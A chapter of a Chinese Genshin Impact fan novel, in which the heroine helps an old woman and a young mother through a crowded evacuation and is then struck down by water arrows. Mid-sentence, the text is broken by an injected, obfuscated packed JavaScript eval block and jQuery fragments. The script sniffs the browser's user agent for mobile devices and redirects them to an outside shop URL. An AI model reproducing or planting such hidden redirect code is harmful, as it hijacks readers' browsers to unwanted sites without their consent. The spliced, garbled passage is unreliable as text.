45.第 45 章 光,断了

作品:《于世界之外醒来(原神同人)

    朗樾回过神。前面的人群又开始动了,千岩军在喊“这里不安全,快走快走”,有人从她身边跑过,撞得她踉跄了一步。


    她只能跟着人群继续往前。


    三碗不过港那处平台上也都是人。往日那些喝茶听书的桌子早被挤到边上,堆成一堆,整个平台挤满了扶老携幼的百姓。几个千岩军站在高处,正在往各个方向指路,声音已经喊哑了:“不要停!继续往前走!往绯云坡方向!”


    朗樾被人流推着往前走,目光扫过人群——


    她看见了陈婆婆。


    陈婆婆靠在一根柱子边上,正低着头喘气。旁边站着那个刚刚在疏导处门口和沐云说过话的年轻女人,怀里抱着那个小女孩,也在那儿歇脚。小女孩眼睛睁着,茫然地看着来来往往的人,很是乖巧,一声不吭。


    朗樾挤过去。


    “陈婆婆!”她喊了一声。


    陈婆婆抬起头,看见她,愣了一下,然后笑了。


    “是阿月啊。”她说,声音有点喘,但笑是真的笑,“你怎么也在这儿?”


    “您怎么一个人?”朗樾顾不上回答,忙搀住她,“您家里人呢?怎么没跟您一起?”


    陈婆婆摆了摆手。


    “他们早就往高处去了,”她说,语气轻描淡写,“我让他们先走。我这边走不快,跟着他们还拖累。再说——”


    她又笑了一下,这回笑得更自然了。


    “我好歹是疏导处的人,总不能自己先跑吧。”


    朗樾张了张嘴,想说什么。她看了一眼旁边抱孩子的女人,又看了一眼陈婆婆。


    她转向那年轻女子,轻声开口:“我来帮您抱孩子吧。”


    女人愣了一下,抱着孩子轻轻摇了摇头,语气带着几分局促,却很客气:“不用啦,谢谢你,我自己可以的。”


    说着,她把孩子往怀里又紧了紧。


    朗樾看这位母亲神色紧张,也不再强求,转而扶住陈婆婆的胳膊。“那婆婆,我扶您。这边还不算安全,我们继续往前走。”


    阿响也上前一步,伸手扶住了陈婆婆的另一只胳膊。


    陈婆婆愣了一下,看看他,又看看朗樾。


    “你们这俩孩子……” 她低声嘟囔了一句,话没说完,却也没有挣开。


    一行人往前走去。那个抱着孩子的年轻女子,也默默跟了上来。


    过桥的时候,前面的人又开始拥挤。有人喊 “别挤”,有人急着护着孩子,乱糟糟的声音混在一起,什么也听不清。他们一步一步慢慢挪动,朗樾担心小姑娘被人群撞到,便跟阿响叮嘱一声扶好陈婆婆,自己走到年轻女子身侧,默默替她挡开身边推搡的人流。


    年轻女子抬头看了她一眼,眼里多了几分感激。


    过了桥,人群总算松快了些。旁边有个千岩军站在高处,朝这边大喊:“往生堂那边已经满了!满了!大家往绯云坡走!天衡山脚下也可以!不要停,继续走!”


    “满了?”朗樾有些惊讶,随即明白过来。往生堂是最近的一个安置点,大家肯定会首选那里。


    “那我们就继续往绯云坡那边走。”陈婆婆用她老人多年的经验判断道,“虽然没说玉京台可不可以上去,但如果人真的太多,没准儿也会开放。”


    她顿了顿,当机立断:“走吧,趁现在去的人还没那么多。”


    人实在太多了。平日里宽阔的街道,此刻被挤满了人。


    人人都想快些走,可脚步却半点快不起来。


    在朗樾第二次开口帮忙时,疲惫到极点的年轻母亲终于点了点头,将小姑娘交到了她怀里。递过来的那一刻,她嘴唇轻轻翕动,朗樾读懂了那没说出口的托付,轻轻点头:“我会小心的。”


    小姑娘一离开母亲怀抱便有些不安,小手伸着,眼看就要哭出来。母亲连忙轻声哄着:“月芽儿乖乖,听姐姐的话,妈妈太累了,歇一会儿就抱你。”


    原来小姑娘叫月芽儿。朗樾心里轻轻一动,真是个乖巧又可爱的名字。


    月芽儿格外听话,听了母亲的话便不再挣扎,只乖乖搂着朗樾的脖子,眼巴巴望着妈妈,等着她歇够了再来抱自己。


    阿响扶着陈婆婆,跟在年轻女子身后。


    天色越发糟糕。空气里弥漫着一股令人不安的潮气,不知什么时候开始起了毛毛雨。


    那雨细得几乎看不见,只是落在脸上凉丝丝的。地上的青石板很快洇湿了一层。


    他们一刻也不敢停。哪怕走得再慢,也始终在往前挪。


    前方一处平台口,十几名千岩军正守在那里高声疏导人群。人群中央,一名装束与众不同的女子格外醒目——紫色劲装,双马尾高束,立在最前方,神色沉静地听着身边军士汇报。


    朗樾一眼就认出了她。


    刻晴。


    此前只在总务司门口远远擦肩而过一次。此刻她不过十几步之遥,佩剑已然出鞘,握在手中,剑身泛着一层淡淡的紫光。


    朗樾正看着她,刻晴却忽然侧过身去,对身后的另一名千岩军说了句什么。就是这个转身的动作,让她腰后的那枚紫色棱形神之眼完全暴露在朗樾的视线中——它就悬在腰带上,随着她的动作轻轻晃了一下,雨丝落在上面,顺着棱边滑落,却遮不住那股莹莹的紫光。


    朗樾的目光在那枚神之眼上停了一瞬。


    没有刻意藏起来,就那样大大方方地挂在身后。


    如果说,沐云是想把力量藏得干干净净,刻晴却像是根本不屑于藏。


    刻晴转回身来,目光开始在人群中快速巡视。视线掠过一张张慌乱的面孔,然后——


    与朗樾的目光撞在了一起。


    只一瞬。


    她的目光在朗樾脸上稍作停留,没说一句话,便移了开去,继续听身旁军士的话。


    朗樾清楚,自己在她眼中,不过是璃月港万千逃难百姓中最普通的一个。可刻晴的模样,远比游戏里的建模更为动人。那不是单纯的好看,而是英气飒爽、锐气逼人,惊人的容貌反倒成了最不起眼的点缀。


    灰蒙蒙的天色下,她手中的剑、那束起的紫发、腰间那枚不肯隐藏的神之眼——像一簇不肯熄灭的火。


    朗樾没有停留,随着人流缓缓走过。


    又走了一段,在千岩军的指引下,人潮渐渐向四方松散开来。绯云坡本就比吃虎岩地势高,这里有诸多开阔之地,不少人被就近安置。朗樾看前面还有疏导处的人在继续向前,便也选择跟上。


    有些人家并未出门逃难。朗樾抬头望去,那些在楼台上方的建筑,有人推开窗,默默望着下方寻找避难所的人流。她只静静看了一眼,便想继续往前。


    身后忽然传来年轻女子的声音,带着几分喘息,又藏着些许不好意思:“阿月…… 你是叫阿月吧?我、我已经好多了,把月芽儿给我吧,你也歇歇,刚刚真是辛苦你了。”


    朗樾停下脚步,转过身看向她。年轻女子就落在身后几步远的地方,正努力加快脚步往这边赶,脸上还带着未散的疲惫。


    朗樾的胳膊确实酸得厉害——小姑娘看着不重,可一路抱下来,双臂早已酸胀发麻,全凭着一股劲在硬撑。见她慢慢走近,朗樾便顺势调整了抱孩子的姿势,笑着开口:“不用客气……”


    话音未落,变故骤生。


    阿响扶着陈婆婆,累得几乎抬不动腿,正低头喘着气。原本


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17425378|198725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只轻轻搭在他肩上的那只手,却猛地一紧。


    他听见陈婆婆颤抖的声音,贴着耳边炸开:“阿月,快跑 ——”


    与此同时,年轻女子一声凄厉的尖叫刺破人群:“月芽儿!!”


    周围人也跟着惊呼起来,阿响猛地抬头。


    他看见了。


    地面上数处水渍同时被牵动,石板缝、墙角、脚边的湿痕各自缓缓聚拢,不过瞬息,便有三、四团圆滚滚的水影在街道上凝成,静静浮在半空。它们不大,像雨水捏成的小团子,看上去毫无凶相。


    朗樾身后不远,正对着她的位置,便立着其中一团。


    下一瞬,所有水影同时爆发。


    没有声响,没有预警,只有破空而来的细微尖啸,而这个时候,朗樾甚至还没来得及回头看看让大家惊叫的是什么。


    阿响张了张嘴。


    声音堵在喉咙里,像一块被海水泡胀的木头。


    他想喊。


    他没能喊出来。


    一发水箭穿过朗樾的左肩。


    她往前踉跄了一步,却没有倒。连一声痛呼都没有,只是僵在原地,低头看向自己的左肩。


    水箭从身后直直贯穿肩头,血立刻渗了出来,顺着手臂一滴一滴往下落,慢得让人窒息。


    然后她抬起头。


    阿响的世界,在这一刻忽然静了。


    他几乎是本能地放开陈婆婆,不要命地朝她冲去。脑子里却一片空白,只剩下一个念头:—— 别碰她。


    年轻母亲也想扑上来,可慌乱之间根本快不过他。阿响只几步,就冲到了能稳稳接住孩子的距离。


    他撞上朗樾的目光。


    他不用看,不用想,不用听她说,就完全明白她要做什么。


    接着——她的眼睛如此告诉他。


    她把孩子朝他抛来。


    阿响不知道自己是怎么伸出手的。他明明想冲过去撕碎那东西,想吼,想挡,想把所有伤害都扯开。可身体比理智更快,稳稳、精准、不容有失地,接住了月芽儿。


    孩子在他怀里安安静静,没哭,只是睁着眼望着朗樾,像还没明白发生了什么。


    阿响指尖都在发颤,几乎是粗暴地把孩子塞回年轻母亲怀里,继续冲向朗樾。那一瞬间,他眼底只剩她一个人,仿佛全世界都退成了模糊的背景。


    第二发水箭紧随而至。依旧是从她身后袭来,狠狠贯入肋间,直直穿透而出。


    她终于撑不住,弯下腰。


    膝盖重重砸在地上,发出一声沉闷的响。


    阿响还在跑。他离她还有七步,五步,三步 ——


    她抬眼望向他。没有看身后的水团,没有看慌乱的人群,只是直直看着他。


    她的嘴唇动了动。


    没有声音。但他知道她在喊他的名字。


    下一刻,她再也支撑不住,轻轻向前一倾,安静地倒了下去。


    像走了太久、太累,终于撑不住,只想就地歇一歇。


    一只手压在身下,另一只手向前伸着,五指微微张开,像是想要握住什么。


    阿响停下了。


    他站在离她三步远的地方,一步也迈不动了。


    他能数清她衣服上沾的几点水渍,能看清她散落在地上的一根发绳。那根发绳他见过,是她攒钱买的,最便宜的那种,颜色褪得有点发白。


    他还能看见她曾经牵过他的手指正在慢慢松开。


    她的 “光” 没有熄灭,而是断了。


    像一根被拉得太紧的弦,突然从中间崩开,两端往两个方向弹射出去,消失在看不见的虚空里。


    什么都没有剩下。